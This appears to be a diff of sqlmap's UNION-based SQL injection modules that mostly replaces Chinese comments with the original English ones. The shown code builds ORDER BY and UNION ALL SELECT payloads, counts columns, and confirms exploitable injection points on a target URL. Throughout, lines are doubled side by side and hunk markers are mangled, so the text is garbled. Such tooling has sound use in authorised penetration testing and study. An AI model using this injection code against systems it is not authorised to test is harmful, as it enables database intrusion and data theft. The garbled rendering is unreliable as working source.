threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value value = threadData.shared.value
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
# 单条记录查询
if not value and not abortedFlag: if not value and not abortedFlag:
value = _errorFields(expression, expressionFields, expressionFieldsList) value = _errorFields(expression, expressionFields, expressionFieldsList)
# 处理返回结果格式
if value and isListLike(value): if value and isListLike(value):
if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):
value = unArrayizeValue(value) # 单值结果 value = unArrayizeValue(value)
elif len(value) > 1 and stopLimit == 1: elif len(value) > 1 and stopLimit == 1:
value = [value] # 多值结果 value = [value]
# 计算执行时间
duration = calculateDeltaSeconds(start) duration = calculateDeltaSeconds(start)
# 输出调试信息
if not kb.bruteMode: if not kb.bruteMode:
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
logger.debug(debugMsg) logger.debug(debugMsg)

@ -5,96 +5,68 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的Python标准库和自定义模块 import itertools
import itertools # 用于创建迭代器 import logging
import logging # 用于日志记录 import random
import random # 用于生成随机数 import re
import re # 用于正则表达式操作
from lib.core.agent import agent
# 导入自定义的工具函数和类 from lib.core.common import average
from lib.core.agent import agent # SQL注入代理模块 from lib.core.common import Backend
from lib.core.common import average # 计算平均值 from lib.core.common import getPublicTypeMembers
from lib.core.common import Backend # 数据库后端 from lib.core.common import isNullValue
from lib.core.common import getPublicTypeMembers # 获取公共类型成员 from lib.core.common import listToStrValue
from lib.core.common import isNullValue # 判断是否为空值 from lib.core.common import popValue
from lib.core.common import listToStrValue # 列表转字符串 from lib.core.common import pushValue
from lib.core.common import popValue # 弹出值 from lib.core.common import randomInt
from lib.core.common import pushValue # 压入值 from lib.core.common import randomStr
from lib.core.common import randomInt # 生成随机整数 from lib.core.common import readInput
from lib.core.common import randomStr # 生成随机字符串 from lib.core.common import removeReflectiveValues
from lib.core.common import readInput # 读取用户输入 from lib.core.common import setTechnique
from lib.core.common import removeReflectiveValues # 移除反射值 from lib.core.common import singleTimeLogMessage
from lib.core.common import setTechnique # 设置注入技术 from lib.core.common import singleTimeWarnMessage
from lib.core.common import singleTimeLogMessage # 单次日志消息 from lib.core.common import stdev
from lib.core.common import singleTimeWarnMessage # 单次警告消息 from lib.core.common import wasLastResponseDBMSError
from lib.core.common import stdev # 计算标准差 from lib.core.compat import xrange
from lib.core.common import wasLastResponseDBMSError # 检查上次响应是否为数据库错误 from lib.core.data import conf
from lib.core.compat import xrange # 兼容Python2/3的range函数 from lib.core.data import kb
from lib.core.data import conf # 配置数据 from lib.core.data import logger
from lib.core.data import kb # 知识库数据 from lib.core.data import queries
from lib.core.data import logger # 日志记录器 from lib.core.decorators import stackedmethod
from lib.core.data import queries # SQL查询语句 from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.decorators import stackedmethod # 堆栈方法装饰器 from lib.core.enums import FUZZ_UNION_COLUMN
from lib.core.dicts import FROM_DUMMY_TABLE # 虚拟表字典 from lib.core.enums import PAYLOAD
from lib.core.enums import FUZZ_UNION_COLUMN # UNION列模糊测试枚举 from lib.core.settings import FUZZ_UNION_ERROR_REGEX
from lib.core.enums import PAYLOAD # 载荷类型枚举 from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
from lib.core.settings import FUZZ_UNION_ERROR_REGEX # UNION错误正则表达式 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS # UNION最大列数 from lib.core.settings import MAX_RATIO
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER # 有限行测试数 from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO # 最大比率 from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_RATIO # 最小比率 from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.settings import MIN_STATISTICAL_RANGE # 最小统计范围 from lib.core.settings import NULL
from lib.core.settings import MIN_UNION_RESPONSES # 最小UNION响应数 from lib.core.settings import ORDER_BY_MAX
from lib.core.settings import NULL # NULL值常量 from lib.core.settings import ORDER_BY_STEP
from lib.core.settings import ORDER_BY_MAX # ORDER BY最大值 from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import ORDER_BY_STEP # ORDER BY步长 from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import UNION_MIN_RESPONSE_CHARS # UNION最小响应字符数 from lib.core.unescaper import unescaper
from lib.core.settings import UNION_STDEV_COEFF # UNION标准差系数 from lib.request.comparison import comparison
from lib.core.unescaper import unescaper # SQL转义处理器 from lib.request.connect import Connect as Request
from lib.request.comparison import comparison # 响应比较
from lib.request.connect import Connect as Request # HTTP请求处理
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
""" """
查找UNION注入所影响的列数 Finds number of columns affected by UNION based injection
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
where - 注入位置(默认为原始位置)
返回:
找到的列数,如果未找到则返回None
""" """
retVal = None retVal = None
@stackedmethod @stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTechnique(lowerCount=None, upperCount=None):
"""
使用ORDER BY技术来确定列数
参数:
lowerCount - 最小列数
upperCount - 最大列数
返回:
找到的列数
"""
def _orderByTest(cols): def _orderByTest(cols):
"""
测试指定列数的ORDER BY语句是否有效
"""
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
# 如果ORDER BY 1成功但ORDER BY随机大数失败,说明ORDER BY技术可用
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed " infoMsg += "This should reduce the time needed "
@ -103,7 +75,6 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test" infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
# 二分查找确定准确的列数
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None found = None
while not found: while not found:
@ -126,14 +97,12 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return found return found
try: try:
# 保存当前错误状态
pushValue(kb.errorIsNone) pushValue(kb.errorIsNone)
items, ratios = [], [] items, ratios = [], []
kb.errorIsNone = False kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop lowerCount, upperCount = conf.uColsStart, conf.uColsStop
# 如果ORDER BY列数未知且起始列为1或指定了列数,尝试使用ORDER BY技术 if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof
if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):
found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found: if found:
@ -144,14 +113,12 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif kb.futileUnion: elif kb.futileUnion:
return None return None
# 确保测试范围足够大
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO min_, max_ = MAX_RATIO, MIN_RATIO
pages = {} pages = {}
# 对每个可能的列数进行测试
for count in xrange(lowerCount, upperCount + 1): for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
@ -160,13 +127,11 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if not isNullValue(kb.uChar): if not isNullValue(kb.uChar):
pages[count] = page pages[count] = page
# 计算响应相似度
ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
ratios.append(ratio) ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio) min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio)) items.append((count, ratio))
# 如果使用了特定字符进行UNION注入测试
if not isNullValue(kb.uChar): if not isNullValue(kb.uChar):
value = re.escape(kb.uChar.strip("'")) value = re.escape(kb.uChar.strip("'"))
for regex in (value, r'>\s*%s\s*<' % value): for regex in (value, r'>\s*%s\s*<' % value):
@ -175,7 +140,6 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
retVal = contains[0] retVal = contains[0]
break break
# 如果没有找到明确的列数,使用统计分析方法
if not retVal: if not retVal:
if min_ in ratios: if min_ in ratios:
ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(min_))
@ -190,7 +154,6 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif item[1] == max_: elif item[1] == max_:
maxItem = item maxItem = item
# 根据响应相似度的分布确定列数
if all(_ == min_ and _ != max_ for _ in ratios): if all(_ == min_ and _ != max_ for _ in ratios):
retVal = maxItem[0] retVal = maxItem[0]
@ -212,7 +175,6 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
finally: finally:
kb.errorIsNone = popValue() kb.errorIsNone = popValue()
# 如果找到了列数,输出信息
if retVal: if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg))
@ -220,29 +182,14 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return retVal return retVal
def _fuzzUnionCols(place, parameter, prefix, suffix): def _fuzzUnionCols(place, parameter, prefix, suffix):
"""
模糊测试UNION查询的列类型
参数:
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
返回:
成功时返回列类型模板,失败返回None
"""
retVal = None retVal = None
# 如果已识别数据库类型且页面模板中没有UNION错误,且知道ORDER BY列数
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
comment = queries[Backend.getIdentifiedDbms()].comment.query comment = queries[Backend.getIdentifiedDbms()].comment.query
# 获取所有可能的列类型组合
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices) random.shuffle(choices)
# 测试每种列类型组合
for candidate in itertools.product(choices, repeat=kb.orderByColumns): for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal: if retVal:
break break
@ -251,13 +198,11 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
else: else:
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
# 构造并测试UNION查询
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
# 如果没有UNION错误,检查字符串列是否在响应中
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
for column in candidate: for column in candidate:
if column.startswith("'") and column.strip("'") in (page or ""): if column.startswith("'") and column.strip("'") in (page or ""):
@ -267,82 +212,66 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
return retVal return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
"""
确定UNION注入的有效列位置
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
count - 列数
where - 注入位置
返回:
(有效载荷, 注入向量)元组
"""
validPayload = None validPayload = None
vector = None vector = None
# 生成所有可能的列位置
positions = [_ for _ in xrange(0, count)] positions = [_ for _ in xrange(0, count)]
# 随机打乱位置顺序,以避免偏差 # Unbiased approach for searching appropriate usable column
random.shuffle(positions) random.shuffle(positions)
# 使用两种不同长度的随机字符串进行测试
for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
if vector: if vector:
break break
# 测试每个列位置 # For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target URL is
# affected by an exploitable union SQL injection vulnerability
for position in positions: for position in positions:
# 准备带分隔符的测试字符串 # Prepare expression with delimiters
randQuery = randomStr(charCount) randQuery = randomStr(charCount)
phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.escape(randQueryProcessed) randQueryUnescaped = unescaper.escape(randQueryProcessed)
# 构造UNION注入查询 # Forge the union SQL injection request
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# 发送请求并检查响应 # Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
# 如果测试字符串在响应中,说明找到了可用的列位置
if content and phrase in content: if content and phrase in content:
validPayload = payload validPayload = payload
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
# 如果是在原始位置测试,进行额外确认
if where == PAYLOAD.WHERE.ORIGINAL: if where == PAYLOAD.WHERE.ORIGINAL:
# 准备第二个测试字符串 # Prepare expression with delimiters
randQuery2 = randomStr(charCount) randQuery2 = randomStr(charCount)
phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
# 使用多个UNION测试完整性 # Confirm that it is a full union SQL injection
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
# 如果两个测试字符串都不在响应中,切换到部分模式
if not all(_ in content for _ in (phrase, phrase2)): if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
elif not kb.unionDuplicates: elif not kb.unionDuplicates:
# 测试行数限制
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
# Check for limited row output
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
@ -350,7 +279,6 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
logger.warning(warnMsg) logger.warning(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
# 检查是否是UNION/错误混合注入情况
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
if unionErrorCase and count > 1: if unionErrorCase and count > 1:
@ -364,27 +292,15 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
return validPayload, vector return validPayload, vector
def _unionConfirm(comment, place, parameter, prefix, suffix, count): def _unionConfirm(comment, place, parameter, prefix, suffix, count):
"""
确认UNION SQL注入并获取精确的列位置
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
count - 列数
返回:
(有效载荷, 注入向量)元组
"""
validPayload = None validPayload = None
vector = None vector = None
# 在原始位置确认UNION注入 # Confirm the union SQL injection and get the exact column
# position which can be used to extract data
validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count)
# 如果原始位置未找到,尝试在否定位置确认 # Assure that the above function found the exploitable full union
# SQL injection position
if not validPayload: if not validPayload:
validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
@ -392,19 +308,9 @@ def _unionConfirm(comment, place, parameter, prefix, suffix, count):
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
""" """
通过字符暴力测试目标URL是否存在UNION SQL注入漏洞 This method tests if the target URL is affected by an union
测试最多进行50列 SQL injection vulnerability. The test is done up to 50 columns
on the target database table
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
返回:
(有效载荷, 注入向量)元组
""" """
validPayload = None validPayload = None
@ -413,7 +319,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
uChars = (conf.uChar, kb.uChar) uChars = (conf.uChar, kb.uChar)
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
# 如果用户明确指定了列数 # In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart: if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart count = conf.uColsStart
else: else:
@ -422,7 +328,6 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if count: if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
# 如果未找到有效载荷且未设置某些配置,尝试模糊测试
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None: if kb.fuzzUnionTest is None:
@ -436,7 +341,6 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
warnMsg = "if UNION based SQL injection is not detected, " warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider " warnMsg += "please consider "
# 如果NULL值注入不可用,提示尝试使用随机整数
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
@ -447,7 +351,6 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
conf.uChar = kb.uChar = str(randomInt(2)) conf.uChar = kb.uChar = str(randomInt(2))
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
# 提示强制指定数据库类型
if not conf.dbms: if not conf.dbms:
if not conf.uChar: if not conf.uChar:
warnMsg += "and/or try to force the " warnMsg += "and/or try to force the "
@ -458,8 +361,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if not all((validPayload, vector)) and not warnMsg.endswith("consider "): if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 如果ORDER BY结果无效,丢弃并重试 if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)):
conf.uChar, kb.uChar = uChars conf.uChar, kb.uChar = uChars
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
@ -468,22 +370,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
@stackedmethod @stackedmethod
def unionTest(comment, place, parameter, value, prefix, suffix): def unionTest(comment, place, parameter, value, prefix, suffix):
""" """
测试目标URL是否存在UNION SQL注入漏洞 This method tests if the target URL is affected by an union
最多测试3*50 SQL injection vulnerability. The test is done up to 3*50 times
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
返回:
(有效载荷, 注入向量)元组
""" """
# 直连模式下不进行测试
if conf.direct: if conf.direct:
return return
@ -491,7 +381,6 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
setTechnique(PAYLOAD.TECHNIQUE.UNION) setTechnique(PAYLOAD.TECHNIQUE.UNION)
try: try:
# 如果使用否定逻辑,保存当前状态
if negativeLogic: if negativeLogic:
pushValue(kb.negativeLogic) pushValue(kb.negativeLogic)
pushValue(conf.string) pushValue(conf.string)
@ -500,16 +389,13 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
kb.negativeLogic = False kb.negativeLogic = False
conf.string = conf.code = None conf.string = conf.code = None
# 进行UNION注入测试
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
finally: finally:
# 恢复否定逻辑状态
if negativeLogic: if negativeLogic:
conf.code = popValue() conf.code = popValue()
conf.string = popValue() conf.string = popValue()
kb.negativeLogic = popValue() kb.negativeLogic = popValue()
# 移除载荷分隔符
if validPayload: if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload) validPayload = agent.removePayloadDelimiters(validPayload)

@ -5,12 +5,10 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import json import json
import re import re
import time import time
# 导入sqlmap自定义模块
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
@ -65,67 +63,48 @@ from thirdparty import six
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
def _oneShotUnionUse(expression, unpack=True, limited=False): def _oneShotUnionUse(expression, unpack=True, limited=False):
""" retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
执行一次UNION查询
参数:
expression - SQL查询表达式
unpack - 是否需要解包结果
limited - 是否限制查询结果数量
返回:
查询结果
"""
# 从hashDB中检索缓存的结果
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.resumed = retVal is not None threadData.resumed = retVal is not None
if retVal is None: if retVal is None:
# 获取UNION注入向量
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.jsonAggMode: if not kb.jsonAggMode:
# 构造注入表达式
